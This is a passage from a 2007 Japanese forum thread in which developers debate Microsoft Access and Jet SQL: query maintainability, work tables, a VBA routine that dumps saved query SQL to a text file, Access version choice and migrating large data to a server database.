CASE WHEN 条件 THEN 式1 ELSE 式2 ENDとか
SQLが無駄に長くなりすぎてマジ勘弁・・・ 素直にIIf()使わせろや。
ISNULL()も IS NULLじゃなくて要はNz()だしDATEDIFFやDATEADDも
同じように見えて第1引数微妙に変えないとエラーになるし、
なんで同じMS製品でここまでSQLコンパイラの仕様が違うねん・・・

495 :NAME IS NULL:2007/05/19(土) 12:50:27 ID:???
>>494
JETが特殊なだけ。


496 :NAME IS NULL:2007/05/19(土) 13:21:40 ID:???
>>494
accessでt-sqlが使えるようになれば、現行のクエリは1/10に減らせるだろうよw
つか、単価上げたければ、t-sql覚えときな。

497 :NAME IS NULL:2007/05/19(土) 14:19:38 ID:???
>>496
> accessでt-sqlが使えるようになれば、現行のクエリは1/10に減らせるだろうよw

そうなのか?なんで?・・・複雑な処理が1行で済むとか?


498 :NAME IS NULL:2007/05/19(土) 17:03:10 ID:hlUzHa55
複雑な処理が1行で済まそうとすると、余計わからんようになる。。。

499 :496:2007/05/19(土) 17:34:22 ID:???
>>498
俺もそう思うんだよなあ?
だからt-sqlが使えるようになれば1/10なるというのが不思議だ。
t-sqlを使おうとは思わないが、jetには限界感じるので乗換え検討中なのだが、
MySQLやPostgreSQLに乗り換えても1/10になるのかなあ?
そんなことは無いように思うのだが?
それにクエリーが1/10になったからってそんなにメリットがあるとも思えない。
プログラムの行数が1/2になるっていうのなら、ものすごくありがたいが・・・・・


500 :497:2007/05/19(土) 17:36:04 ID:???
>>499
あ、ごめん名前のところ間違えた。
ついでに500ゲット、まあどうでもいいが。


501 :NAME IS NULL:2007/05/19(土) 18:31:23 ID:???
Accessに限らずVB系の最大の欠点は、フォーム内に記述されたイベントプロシージャを共通化できないという点だな。
これができたら、劇的なコーディング削減ができるはずなんだが・・・


502 :NAME IS NULL:2007/05/19(土) 18:54:18 ID:???
イベントを共通化したいならクラス化してWithEventsつけとけばいいんじゃないの?

503 :NAME IS NULL:2007/05/19(土) 19:40:14 ID:???
>>497
釣りはスルーで

>>501
> Accessに限らずVB系
そこ書き間違えてるぞ。「自分」だろ。

504 :NAME IS NULL:2007/05/19(土) 19:49:15 ID:???
素人はSQL書けないから必然的にクエリが大量に作り置きされることになるな。
T-SQLを覚えたら10分の1じゃなくて普通のSQLを覚えたらゼロに近くなる、だろうね。

505 :NAME IS NULL:2007/05/19(土) 20:11:19 ID:???
SQLとクエリは同じようなもんだろ
別に作り置きは勝手だよ

506 :NAME IS NULL:2007/05/19(土) 20:44:50 ID:???
>>499
case分が使えるようになれば、多重クエリがなくなる。
joinの限界(複雑なjoinだと5つもテーブル連結するとハングする)がなくなる。

これだけでも大幅にクエリに数は減らせるでしょ。
Jetに比べて、いわゆるSQL-92準拠で困るのは、クロス集計が面倒なことと、
列別名の再使用が出来ないぐらいかな?

507 :NAME IS NULL:2007/05/19(土) 21:17:38 ID:???
>>505
作った本人が死ぬまで面倒見てくれるなら別に文句言うつもりもないんだけど
その本人が異動しただの辞めただのでこっちに回ってくるDBでクエリが山のようにあって
ソース見てるとアクションクエリ1→アクションクエリ2→アクションクエリ3を連続実行してるのは判っても
それぞれのクエリの中身がなんなのかはクエリをデザインビューで開くまで判らないから
VBAエディタ→クエリデザインビュー→VBAエディタ→クエリデザインビュー→VBA以下略って感じで
読みにくいったらありゃしないんだよw

作り置きも必要最低限ならいいけど、100個も200個もあったらさすがに萎える・・・

508 :NAME IS NULL:2007/05/19(土) 21:42:05 ID:???
>>507
それ、オマエが只の我儘

509 :NAME IS NULL:2007/05/19(土) 22:50:03 ID:???
>>504
それは素人と熟練者の違いであって、TとJetの違いでもなんでもねーだろ。w
あざとさに萎えた。

510 :NAME IS NULL:2007/05/19(土) 23:25:04 ID:???
>>504
クエリをフォームのRecordSourceに使うには、どうしても、作り置きせずをえないから、
ゼロになることはありえないと思う。

511 :NAME IS NULL:2007/05/20(日) 00:04:40 ID:???
>>510
つ せざるをえない

512 :NAME IS NULL:2007/05/20(日) 00:57:36 ID:???
フォームもレポートも別にレコードソースはクエリ必須じゃないだろw

513 :NAME IS NULL:2007/05/20(日) 01:02:57 ID:???
すべてadoでやればクエリは0にできるが、メンテナンス性は最悪。
クエリでやればメンテは楽になるが、へたすりゃJOINのためだけのクエリとか無駄に増える。

一番いいのは、自分自身のmdbに対してパススルー、せめて別mdb対してパススルーできれば
大分違うんだが、当然それも出来ない。

この辺がaccessの限界かねぇ。

514 :NAME IS NULL:2007/05/20(日) 01:26:07 ID:???
自分に対してパススルーって、誰がそのSQLを解釈するの。

515 :NAME IS NULL:2007/05/20(日) 01:31:39 ID:???
パススルーでjetのsql投げるとaccessが...みたいなw

イメージとしては、jetのsql文をまんま、保存できるクエリーがあればいいんだが。
クエリーはaccessが勝手に変更するし、jet100%準拠じゃないし。

かといってソースにsql文書くのもねぇ...
SQL=SQL & " from t_test inner join dad on ......."
みたいなのが延々30行とかになると激しく萎えるしねぇ...

516 :NAME IS NULL:2007/05/20(日) 01:32:37 ID:???
今日の仕事を明日の自分にパススルー

517 :NAME IS NULL:2007/05/20(日) 02:08:09 ID:???
>>502
Accessで中途半端なオブジェクト指向なんかやって意味あんのか?

518 :NAME IS NULL:2007/05/20(日) 02:25:13 ID:???
テーブル10個のDBはテーブル10個の仕様を理解してからでないと
正確・確実なメンテ作業には取り掛かれない。
テーブル100個のDBはテーブル100個の、
テーブル1000個のDBはテーブル1000個の以下同文。

無用のクエリを大量に、それも下手すれば総テーブル数の2倍も3倍もの数で生み出されると
それだけでシステムの仕様を理解するための手間がアフォみたいに増大する。

このレポートはクエリ1をソースにしてるようだがクエリ1の実体となるテーブルは…クエリ2か。
クエリ2の実体は…クエリ3とクエリ4のUNIONかよ。で、クエリ3の実体は…テーブル1ね。
あとクエリ4は…クエリ5っておい。 で、クエリ5は…

こんな作業やらされた日には「クエリでやればメンテは楽」なんて言葉は絶対出てこないぞw
みんな自分が作るばっかりで他のシステムの保守とかやらされないの?

519 :NAME IS NULL:2007/05/20(日) 02:32:17 ID:???
>>518
無駄にクエリが増えると言う意味では、上でも言ったようにその意見に同意なんだが、
ソースのあっちこっちにsql文を埋め込んであるほうが、遥かにメンテナンスはつらいんだが。
しかも、長文のsql文になると、取得するためにわざわざ文字連結しなきゃいけなかったりw
あと、ソースでsql文生成する場合は、無意識に動的クエリになりがちだしw

つか、クエリのメンテナンスが楽じゃないなら、viewやストアドのメンテナンスもつらいって
話にならんのか?そしたら仕事にならんだろ。

520 :NAME IS NULL:2007/05/20(日) 02:46:26 ID:???
>>518
クエリを元にクエリを作るのは、複雑になるしパーフォーマンスも悪くなるはず。
ワークテーブルをうまく使えば、もっと単純化できるし、主キー等の活用で動きもよくなる。


521 :NAME IS NULL:2007/05/20(日) 02:50:26 ID:???
ワークテーブルは使いようだが、俺の場合、データ量が多いものを多用するとファイルサイズが
爆発的に増大するaccessの糞仕様の前にあえなく断念しました。
ま、実装方法がちゃちだっただけで、職人が実装すればちがったかもしれんが。

522 :NAME IS NULL:2007/05/20(日) 02:53:21 ID:???
Accessはレコードロックを行レベルにすると、ファイルサイズが肥大化するらしいから
ページロックにしておいたほうがよい。

523 :NAME IS NULL:2007/05/20(日) 03:20:33 ID:???
>>521
ワークファイルを別のMDBにしてリンクして使うと問題無いと思うけど?


524 :NAME IS NULL:2007/05/20(日) 03:25:34 ID:???
>>523
あー、なる。
いっそ、つどつど新規mdbつくって、ワークテーブル生成、リンク貼って、使い終わったら
ファイルごと廃棄とかもありか。

まぁ、なんというか、あまり美しくはないけど、たしかに何の問題もなくなるw
ありがと、今度試してみる。

525 :NAME IS NULL:2007/05/20(日) 03:32:31 ID:???
>>519
ビューについても無駄に増やすのは勘弁してくれって意見は変わらないよ。
あとストアドはストアドであってクエリやビューとは似て非なる、役割の違う存在だから
ここで引き合いに出されても困る。

>>520
もちろん、自分で1から作り直す時はそうするよ。

526 :NAME IS NULL:2007/05/20(日) 03:38:58 ID:???
>>525
クエリはjetのとういか、accessの物的制限からどうしても無駄に増大するけど、
viewに関しては、完全に正規化できてるかできてないかだけの話でしょ。
増えるも増えないもないと思うんだが。

ビューとストアドは確かに役割は違うけど、メンテナンスの仕方は一緒でしょ。
でもって、クエリも一応はそういったものの代替なんだから、メンテナンス思考は一緒。

sqlを一まとまりで管理するか、プログラム側に埋め込むかは、メンテナンスに相当
差異があるとおもうんだがなぁ...

527 :NAME IS NULL:2007/05/20(日) 03:39:12 ID:???
なんかこのスレ、1がクソとか言っているから単なるクソスレかと思ったら最近は結構良スレになっている。
たまに変なのもいるけど・・・・・


528 :NAME IS NULL:2007/05/20(日) 04:20:41 ID:???
>>526
増えるも増えないもというか、やっぱり事情は同じで
ビュー1を元にしたビュー2を元にしたビュー3を元にしたビュー4を…
とかやられると「パズルやってんじゃねえんだぞ!」って言いたくならないか?

あとメンテナンスの手間に差異があるケースの具体例というのが自分だと想像つかない。
テーブルやフィールドの名称が頻繁に変わるならそりゃ1まとまりになってる方が都合は
いいのかもしれないけど、そこまで変テコなシステムの保守担当にはされたことがないんで…

過去の豊富な経験からその結論に至ってると思うので、経験の浅い自分に
できれば具体的な例で説明してもらえると嬉しい。

529 :NAME IS NULL:2007/05/20(日) 04:30:26 ID:???
>>528
俺も経験が多いほうではないが、そもそも
>クエリ1を元にしたクエリ2を元にしたクエリ3を元にしたクエリ4を…
の状況はaccess(jet)だから起こるわけで、viewならばまとめてひとつか二つに出来るから、
>ビュー1を元にしたビュー2を元にしたビュー3を元にしたビュー4
の状況はおきにくいと思うんだが。最悪ストアド使えば解決。まぁ、賛否はあるだろうが。

で、メンテナンスの差異なんだけど、viewとプログラムなら分かりやすいと思うんだけど、
レコードセットとかの取得をviewやストアドで取得する場合と、プログラムでsql文まるまる発行して
取得する場合だと、後者のほうが俺は苦手だな、と。特に人が作ったものは。

更に、パラメータ仕様の場合に、ストアドならすぐに把握できるけど、プログラムでsql文発行してる
ときは一見動的なのかどうかも見分けずらいし、パラメータが何なのかも分かりづらかったりで、
あまりいいことがなかったような。

530 :NAME IS NULL:2007/05/20(日) 07:35:37 ID:???
>access(jet)だから起こるわけで、viewならば

なにか話が噛み合わないと思ったら、要するにAccess+jetの環境じゃなくて
バックエンドDBがSQLServerの場合しか前提にしてないからか。

わざわざそちらに話を合わせようとした自分も悪いんだけど、こちらはそのAccess+jetの環境で
クエリだらけになって困ったことがある、というのが話の出発点なわけで…
SQLServerの環境ではviewだらけの状況はおきにくい、といった点を論拠にされても
自分が考えを改めるに足る理由にはやっぱり至らないな。

遅くまでつき合わせてしまって申し訳ないけど…

531 :NAME IS NULL:2007/05/20(日) 08:20:53 ID:???
本来は解決策があるはずなのに、文句言ったり諦める奴は修行が足らん。
というか、Access使ってる奴ってその程度が多いのは何故だ。


532 :NAME IS NULL:2007/05/20(日) 09:33:22 ID:???
Accessは初心者向けツールという位置づけだからしかたない。


533 :NAME IS NULL:2007/05/20(日) 09:47:32 ID:???
>>530
ちがう、ちがう。
「view」と「ソースに埋め込み」のほうが分かりやすい例えかなと思っただけ。
クエリが弊害が多いのは上記にも書いたとおりだが、ソースの埋め込みよりはよくね?
ぐらいに解釈してくれよw

534 :NOMO ESTAS NULA:2007/05/20(日) 10:56:03 ID:???
 適当なModuleに、
Public Const Query1 As String = "select * from table1 where column1=?"
みたいな感じでクエリ文字列を宣言してそれを各所で引っ張ってきてつかえばいいじゃない。
 いっそ
Public Command1 As New ADODB.Command
Command1.CommandText="select 〜"
Command1.Parameters.Append Command1.CreateParameter(〜)
Command1.Prepared=True
とかしてストアドっぽく使うとか。JET で Prepared が有効なのかどうかはわからないけど。

 ADODB.Command を使えば、Jetでもパラメタクエリのパラメタを ? にできるしね。
PARAMETERS 句を使わなくても Command.Parameters(i) を ? の登場順に当てはめてくれる。

535 :NAME IS NULL:2007/05/20(日) 11:40:28 ID:???
>>534
それやってるけど、
SQL = SQL & "あんなwhere句やこんなJOIN"
SQL = SQL & "あんなwhere句やこんなJOIN"
SQL = SQL & "あんなwhere句やこんなJOIN"
見たいな行が延々30行とか続くからねぇ...

moduleにきれいにsql文書けるだけで、accessの存在価値は格段に上がるのになぁ。

536 :NAME IS NULL:2007/05/20(日) 11:53:11 ID:???
だったら Access は不要だってことで
SQLサーバーで良いじゃんってことで

537 :NAME IS NULL:2007/05/20(日) 11:53:30 ID:???
パラメーターとIIF、UNIONあたりでストアドっぽくってのは場合によっては有効だよね。
でもそういうクエリとADODB.Command前提の処理がわかりやすいかと言うと…。
いずれにしろ汎用的な多段クエリは避けるべきだと思うけど。

>>517
共通化したいなら出来るってだけでほとんど意味は無いだろうねw

538 :NAME IS NULL:2007/05/20(日) 12:11:06 ID:???
>>537
共通化したい人にとっては、それが出来るなら意味あるんじゃない?w
OOP原理主義者や研究者が何を言おうが、現場はそれ使ってラクになるん
だったら何でも使うだけだから。

「OOP的に中途半端」なんて現場で言ったら、「同意するけど、だから何?」と
たぶんアホ扱いされるだけ。w

539 :NAME IS NULL:2007/05/20(日) 12:26:16 ID:???
SQLテキストをレコードに保存すればいいんじゃね?

540 :NAME IS NULL:2007/05/20(日) 12:39:05 ID:???
>>539
使い方しだいだろうけど、余計に処理を追いかけるのが難しくなると思うのだけど?


541 :NAME IS NULL:2007/05/20(日) 12:55:37 ID:???
AccessのClass Mojule というのは、オブジェクト指向というよりも、
変数とプロシージャを一個の変数として管理するためのものと割り切って使うのが良い。
複雑なSQL文もClassの特性をうまく使えば、非常に簡潔な記述と管理が可能だ。


542 :NAME IS NULL:2007/05/20(日) 13:52:34 ID:???
>>541
スマンが、最後の1行の意味が分からん。
SQLの話とWithEvents使ったクラスの話は別の流れじゃなかったのか?
できれば具体例キボンヌ

543 :NAME IS NULL:2007/05/20(日) 15:24:06 ID:???
どうでもいいけど、モジュールは「j」じゃなく「d」ですよ、と。

544 :NAME IS NULL:2007/05/20(日) 16:15:35 ID:???
要するに、Classを使って、SQL文を自動生成するような仕組みをつくればよい。

例えば、SQL文では

SELECT A FROM B WHERE C ORDER BY D

ABCDの4つの文字列とSELECT,FROM,WHERE,ORDER BY のKeyWordから成り立っている。
この場合、ABCDの四つの文字列変数を受け取り、KeyWordを組み合わせてSELECT文を生成することを考える。
実際のSELECT文はJOIN句 が複雑に絡んでくるため、受け取る変数がもっと多い。
また JOIN句が多くなると括弧の数がややこしくなり、手記述ではミスがおきやすい。
そのあたりをClassでうまく制御しながら、ミスのないSQL文を返すようなロジックを考えればよい。

通常のプロシージャでもできなくはないだろうが、複雑難解になるほどClassのありがたさがわかってくる。

なお、WithEventsというのは、FormのEventsをClass内で処理するためのもので、この場合は関係ない。


545 :NAME IS NULL:2007/05/20(日) 16:38:49 ID:???
黙ってクエリ。クエリをクエリに使うのは避ける。レコードソースに使うクエリは、
フォームやレポート名と同じにする(先頭にQ_とかつけたりして区別)等の方針
で開発すれば、いくらかすっきりする。
Accessで凝ったことをやっても、他の人にとっては敷居が高くなるだけで・・・。

546 :542:2007/05/20(日) 16:58:30 ID:???
>>544
> なお、WithEventsというのは、FormのEventsをClass内で処理するためのもので、この場合は関係ない。

いやWithEventsはふだん使ってるから意味は知ってるんだけどね。
スレの流れがどこで合流したのかが分からなかったんだけれども。
別に合流してなかったということが分かったよ。

もっとも、>544 で言ってるのって、JetのSQLパーサを再実装する
ような感じじゃね? サブクエリ非対応だと現場じゃ使い物にならない
けど、そこまで作りこむのって、けっこう大変そうに感じる。

あと正直な感想として、
strSQL = strSQL & "foo=" & foo & " And "
みたいなのを仮に
objSQL.Where.Add "foo=" & foo   ' ←タダのイメージね
とか
objSQL.Where.Add "bar", bar, adInteger   ' ←同じくイメージね
みたいに書けるようになったところで、そういう行をダラダラ羅列しなきゃ
いけないのはやっぱり同じなわけで、たぶんそれほど有りがたがられ
ない気がする。

いや、もちろん既にそういうのを自作して組み込んで使ってて、スゲー
便利で楽チンなのよこれが、っていう話があるんだったら謹んで拝聴
したいんだけど。

個人的にはクエリのデザインビューで、フィールド一覧(グリッドじゃない
上の方に出るヤツ)のタイトルバーをダブルクリックした時に、プロパティ
が出るんじゃなく元クエリのデザインビューの方に移ってくれれば、
それだけでストレスがだいぶ違う気がするよ。

547 :NAME IS NULL:2007/05/20(日) 16:58:49 ID:???
良いインジェクションの的があると聞いて飛んできました。

548 :NAME IS NULL:2007/05/20(日) 17:02:52 ID:???
>>547
漏れ的には「きますた」の方が好きだな。

549 :NAME IS NULL:2007/05/20(日) 17:11:29 ID:???
難解なクエリーが理解できない俺様がきますた。

難解なクエリーなど組まなくてもワークテーブルを作ってやったほうが良くないかなあ?
そうすれば、簡単なクエリーの組み合わせで少々複雑なことだってできる。
それにそのワークテーブルにどんなデータが書き込まれているかを調べれば、デバックも簡単。

おれは必要なデータをまずワークテーブルに抽出してそれからいろいろと加工するようにしている。
インデックスをちゃんとしていれば、必要なデータがよほど多くない限り高速だし、
後の処理も限られたデータにたいして行うのだから、時間はかからない。

昔は余計なワークテーブルを作ると処理が遅いように思っていろいろやったけど、
結局ワークテーブルを作るほうが高速だった。
後、ワークテーブルはローカルに置くから思いのほか早いというメリットもあるように思う。

まあ、ワークテーブルを使ったのでは遅くてしょうがないということがあれば考えるけど、
今のところそんなのはないなあ?


550 :NAME IS NULL:2007/05/20(日) 17:21:42 ID:???
あと、クエリをコーディングで作成することの大きなメリットは、VBAの検索・置換の対象になることである。


551 :NAME IS NULL:2007/05/20(日) 17:26:56 ID:???
なにその変なクラスの使い方w

クラス使うのはわかるけどさ、普通はSQL文なんて書かなくてすむように
RDBデータをクラス(というかオブジェクト)に変換してくれる
O/Rマッパー使うだけでしょ?

えっ?もしかしてAccessで使えるO/Rマッパーってないの?

使えないなAccess。

552 :NAME IS NULL:2007/05/20(日) 17:31:14 ID:???
>>549
ワークテーブルのためのMDBを持っておくと便利。ついでに、処理に
必要なテーブルはあらかじめ作っておいて追加クエリで利用すると
型やサイズもばっちしだし、インデックスも気軽に利用できる。

>>550
クエリの中身=SQLを全て出力したり、・検索したり、ってのを作って
持っておけば便利。

553 :NAME IS NULL:2007/05/20(日) 18:06:43 ID:???
>>552
> クエリの中身=SQLを全て出力したり、・検索したり、ってのを作って
> 持っておけば便利。

>>377
のクエリー版を作れってことね?


554 :NAME IS NULL:2007/05/20(日) 18:53:29 ID:???
ワークテーブルを別ファイルに元のファイルを
リンクして使うってのはなかなかいいね。
場面は限られるけど良い収穫ですた。

しかしまぁAccessで結構盛り上がるもんだなw
そこまで真剣じゃない感じもなんか好きだw

555 :NAME IS NULL:2007/05/20(日) 18:55:07 ID:xmKxQ3hL
Accessは壊れやすいとよく書かれているけど、Access2007はより安定してるでしょうか?
うちの小さい事務所にはPCは5台ほどあるのですが、皆WinXP、Office2003(Accessなし)です。
ここにAccessを単体で購入しようと思っているのですが、
Access2003にすべき(Office2003という環境ではその方が安定するのか)なのか、
Access2007を買った方(安定性、機能が向上しているのか)がいいのか迷ってます。

556 :NAME IS NULL:2007/05/20(日) 18:57:03 ID:???
>>553
そうっすね。でも、Debug.Printよりはテキストファイルに出力した方が
いい。
応用で検索・置換もできるから、クエリを1つ1つ開かなくてもいいので
管理は楽になると思う。置換の際に、そのクエリで使用してるテーブ
ルで同じフィールド名称がないかに気を付けるぐらいかな。

557 :NAME IS NULL:2007/05/20(日) 18:59:40 ID:???
>>554
オレの場合は、それを前提として共通関数類を準備した。データMDBも
リンクで使用。リンク先の自動更新もあるので楽ちん。

>>555
開発として使うなら2003。お気軽作成にとどめるなら2007。
と、個人的に思う。

558 :NAME IS NULL:2007/05/20(日) 19:16:54 ID:???
mdbでやろうとするなら2003でも2007でも安定性に違いはないよ。
後は運用次第ってとこまで 限界までブラッシュアップされてるし。
2007の方がmdbが壊れにくいという美談は、まずないだろうな。


559 :NAME IS NULL:2007/05/20(日) 19:38:24 ID:???
access95から使ってる身としては、2007もどうせ新規のバグの嵐だとすれば、
そのバグがMSはともかく技術者の間で周知の事実になるまでは到底使おうという気にならない。

560 :NAME IS NULL:2007/05/20(日) 19:53:23 ID:???
オレ、1.1から使ってる。

561 :NAME IS NULL:2007/05/20(日) 19:56:48 ID:???
>>556
使ってね

Sub TextQuery()
Dim Qdef As QueryDef
Open CurrentProject.Path & "\Query.txt" For Output As #1
For Each Qdef In CurrentDb.QueryDefs
If Not (Left(Qdef.Name, 4) = "MSys" Or InStr(Qdef.Name, "sq_") > 0) Then
Print #1,
Print #1, "■"; Qdef.Name
Print #1, Qdef.SQL
Debug.Print
Debug.Print "■"; Qdef.Name
Debug.Print Qdef.SQL
End If
Next
Close #1
Set Qdef = Nothing
End Sub


562 :NAME IS NULL:2007/05/20(日) 20:26:25 ID:???
>>551
あったらこんな話してない、ということが今頃わかったのかw

563 :NAME IS NULL:2007/05/20(日) 20:57:59 ID:???
>>562
きっと、おれはもっと高級な言語(?)を使っているんだぜと自慢したいのじゃないの?
まあ、道具なんて用途に合わせて使えればいいのよ。
道具自慢ばかりしているようじゃたいしたでぇくではないんだよ。
とっととお家に帰んなよ。このトウヘンボクが(w


564 :NAME IS NULL:2007/05/20(日) 21:34:06 ID:???
>>563
ところでお前、女か?

565 :NAME IS NULL:2007/05/20(日) 22:40:13 ID:???
なんだ?恋の予感か?

566 :NAME IS NULL:2007/05/20(日) 23:05:31 ID:???
漏れの好みだな

567 :NAME IS NULL:2007/05/20(日) 23:11:08 ID:???
>>566
ところでメール欄に?を入れるのはなんか意味があるのか?


568 :NAME IS NULL:2007/05/20(日) 23:15:35 ID:???
>>566
ツンデレを期待しているのか、それともドMなのか、教えてくれw

>>567
自分もここしばらく不思議に思ってた、それ。

569 :NAME IS NULL:2007/05/21(月) 00:13:37 ID:???
>555
 VSTOを「開発者の人数分」買って Access Runtime の配布権を手に入れて、
開発者は Access200xを、利用者は Access Runtime を使うと安上がり。

 HTA+JET でフォームを作ればなんと無料。でも余程手馴れた人が居なければ
激しくオヌヌメしない。

570 :555:2007/05/21(月) 00:54:03 ID:mYmbqXB5
ありがとうございます。
>手馴れた人が
そんな人いませんって。(いれば苦労しない)
無難に2003を買っておこうと思います。(なんかちょっと悔しいけど)

571 :NAME IS NULL:2007/05/21(月) 01:04:23 ID:O7r3SvAl
現在accessで組んでる検証用システムがデータが増加して、
移行したいと思いますが、どのようなパターンがよいでしょうか?
個人的にはaccessが一番小回り利くので、好きだったのですが、
どうにも時間がかかるようになってしまって、
私が考えてるのはMYSQL+JAVAを考えてます。
結構劇的に早くなるものなのでしょうか?


572 :NAME IS NULL:2007/05/21(月) 01:05:00 ID:???
>>570
上で、バグが周知されるまでは使わないって書いたの俺だけど、あの話は、あくまでも
客に納品するアプリとしてってことだからね。

自分の会社のシステムで、自分がメインで管理するシステムならさっさと2007にする。
最新機能も試せるし、バグの検証も出来るし一石二鳥w

573 :NAME IS NULL:2007/05/21(月) 01:11:21 ID:???
>>571
桐+JAVAにするといいよ

574 :571:2007/05/21(月) 01:22:25 ID:O7r3SvAl
>>573
ありがとうございます。桐ですか、初めて聞きました。
調べてみます。
現在4000000(四百万)ほどのデータをaccessで抽出、検証してますが、
やはりデータベース構築し、javaとかでやったほうが、早いんでしょうか?
あまり変わらないようなら今までのままで行こうと思いますが

575 :NAME IS NULL:2007/05/21(月) 01:32:45 ID:???
>>574
ネタだから真に受けないことw

質問が、よく荒れる質問だからまともな回答はないと思うけど、
なにを持って「劇的に早くなる」かはデータ構造と実装しだいだから、
データベースの器の違いはそうそうない。
sqlserverだろうとオラクルだろうとmysqlだろうとfirebirdだろうと、ポスグレだろうと。

きちんと正規化できて、フロントエンドとの通信に問題がなければ、
大抵のRDBMSに移行すればaccessよりも堅牢になることは間違いない。
多分、(なんらかの処理速度やバッチの実行速度は)それなりに早くなるかもしれないが、
すばらしく最適化された神accessだったら、さほど変わらないかもねw

とりあえず、移行が簡単なMSDEでも試してみるのは?

576 :571:2007/05/21(月) 01:45:46 ID:O7r3SvAl
>>574
>>575
ありがとうございます。
access以外使ったことないので、どうにも感覚がつかめなくて、
VBAが結構重たいのではと思いまして、違う言語ではどうかと、
そうですね、試してみて、次第に移行していきます。
今のままではバックアップとかもきつくなってきたので

577 :NAME IS NULL:2007/05/21(月) 02:29:08 ID:???
JavaにはJavaのメリットがあると思うけど、「早い」というのだけは
聞いたことがないぞ。w
もっとも、言語がボトルネックというのは考えにくいので、DBを
C/S型に移行するのがたぶん正解。

ただ大昔(Access95, SQLServer6.xあたりだったかな)にどっかで
読んだ話だと、SQL鯖が早いのは一般的にサーバー機のスペック
の方がクライアント機よりも高いからであって、同じ端末で動かしたら
堅牢製を捨ててトランザクションログとか取らない分、Jetの方が実は
早いらしい。
今はもう違うかもしれないけど。

要は何を言いたいのかというと、Accessを使ってたのと同じ端末の
ローカルでMSDEとか動かすつもりなら、ひょっとすると期待する
ほど早くなんないかもしれないな、と。
もちろんメチャ早くなるということも有りうるので、結果を教えて
もらえると嬉しい。

578 :NAME IS NULL:2007/05/21(月) 02:31:27 ID:???
>>576
vbaが重いとか、javaが軽いとか、そういうことはない。
重い、軽いと言う表現が適用されるとすれば、
重いロジック、軽いロジック、とか
重い接続、軽い接続(ODBCとネイティブとか)とか、
重いコンパイル、軽いコンパイルとかでないかい?


579 :556:2007/05/21(月) 07:58:05 ID:???
>>561
オレは自分で作って持ってるからいらないよ。

580 :NAME IS NULL:2007/05/21(月) 09:03:18 ID:???
昔どこかでAccess(jet)は1万件くらいからパフォーマンスが落ちると書いてあるのを読んで、
まあ、がんばっても2〜3万件くらいが限界かと思ったら、4000000件のデーター!!!
うーーーん、それでもなんとか動くんだ。恐ろしい。
データを別のMDBにするくらいはしていると思うけど、何MBくらいなんだろう?

>>576
バックアップがきついってどういうこと?
MySQLに変わってもバックアップしなくても良いってことにはならないと思うけど。

客観的に考えると、MSDEに移行してそれからMSSQL(Microsoft SQL Server)に移行して
Access+MSSQLで使うのが一番楽だろうと思う。まずはデータの堅牢性の確保が一番だと思う。
スピードの問題はサーバーのスペック、それからMSSQLのチューニング、ロジックの見直し、
インデックスの見直しなどで対応できるかな?



581 :NAME IS NULL:2007/05/21(月) 09:54:28 ID:w3MsnV1l
パフォーマンスが落ちるけど、400万件でも動くさ。サイズが制限内なら。
C/Sにして早くなるってのは、結局必要最小限のデータを取得だからでしょ。
極端な話、400万件をターゲットにレコードソース指定すると遅いはず。
気軽にC/Sに移行するなら、MSDEかSQL Sever+Access。リンクすればクエリで
Accessの関数使えるし。ただ、Accessで遅いと思わなかったクエリが激遅になる
可能性がある。今のシステムで、1レコード抽出・表示等の工夫をするのも1案。

582 :NAME IS NULL:2007/05/21(月) 10:07:07 ID:???
>>581
リンクテーブルだとJETの仕様上、
大量データがネットワークに溢れることになるわけだが。


583 :NAME IS NULL:2007/05/21(月) 10:13:15 ID:???
>>581
パススルーでええやろ。

584 :NAME IS NULL:2007/05/21(月) 13:01:17 ID:???
>581
.adpでええやろ

585 :NAME IS NULL:2007/05/21(月) 18:37:31 ID:Al8h1A+4
>>580
遅い早いより、フリーズせずに開けるなら問題ない。
昔の大学図書館のデータベースなんか絞り込むのに一時間ぐらいかかったし、ワープロ専用機の付属のデータベースでも一時間ぐらいかかった。
最初にアクセス使った時、あまりの早さに驚いたもの。遅いと言うなら時間を書いてくれ。

586 :NAME IS NULL:2007/05/21(月) 19:34:15 ID:???
だから、抽象的な遅い速いの話は意味がないどころが荒れるとあれほど..w

587 :NAME IS NULL:2007/05/21(月) 20:11:47 ID:???
さあ、盛り上がってまいりました!

588 :NAME IS NULL:2007/05/21(月) 20:33:14 ID:???
>>585
いったいいつの話を・・・・・・・
そのうち穿孔テープとかカードパンチとかの話がでてきそう(w

まあ、人間贅沢にはすぐ慣れる。
いまじゃあ、複雑な集計に5分かかっただけで遅い遅いと言われる。
5分も待てないほど忙しい人には見えない人に限ってそうだ。


589 :571:2007/05/21(月) 20:51:08 ID:O7r3SvAl
>>データを別のMDBにするくらいはしていると思うけど、何MBくらいなんだろう?
はい、一応データと処理のmdbは別にしています。容量は1G達してます。

>>バックアップがきついってどういうこと?
>>MySQLに変わってもバックアップしなくても良いってことにはならないと思うけど。
access結構壊れやすいので、こまめにバックアップ必要なのと、単にmdbをコピー
してバックアップとしているので、時間が掛かっています。
確かに移行してもバックアップは必要ですね、それらのスケジュールも考えなくては

アドバイスによると、言語によるパフォーマンスの違いは余りなさそうなので、
一応データベース構築したら、違う言語でもテストもしてみますが、
msde or mysql + accessでやってみることにします。

590 :581:2007/05/21(月) 21:04:44 ID:w3MsnV1l
お好きなように解釈を。

591 :NAME IS NULL:2007/05/21(月) 21:30:48 ID:???
・殆ど更新されないが参照が多い表をローカルにコピーして使う(事前にローカル記憶域にロードする)
・VBA で Recordset を開くときに何度も参照するものを Static で開く(事前にメモリにロードする)
・クエリなどで、SELECT句に登場しないが絞込みのためだけに FROM句に出てくる表は Exist で
 絞り込む(結合が少なくなる)
・インデックスを整理して、列名に ID とか 番号 と入っていると勝手にできる不要なインデックスを
 削除する(更新の高速化、容量の削減)
・逆に検索や連結の対象になっているのにインデックスが張られていない列にインデックスを張る
 (検索の高速化)
・TOP を使って検索結果の行数を限定する
などとするとどうだろう。

他には、
・更新の少ないテーブルと更新の多いテーブルみたいにさらに mdb を分割する
・蓄積型のテーブルをさらに年度別に分けて、必要に応じて UNION クエリでつなぐ
・さらにそれぞれの mdb を物理的に別のディスクやサーバに分ける
とかしてみたり。リンクテーブルマネージャが若干使いづらくなるけど。

592 :NAME IS NULL:2007/05/21(月) 22:12:37 ID:???
TOP + ORDER BYは結局フルスキャンになって高速化にはならなくない?
無条件に上位レコードが取得出来れば良いならいいとは思うけど。

漏れの鬼門
前提:カレンダーテーブルとデータテーブルがある(カレンダー1:データ多)
要件:各月の末日のデータを出力したい

データテーブルの量が多い場合結合してからサブクエリで絞り込むより
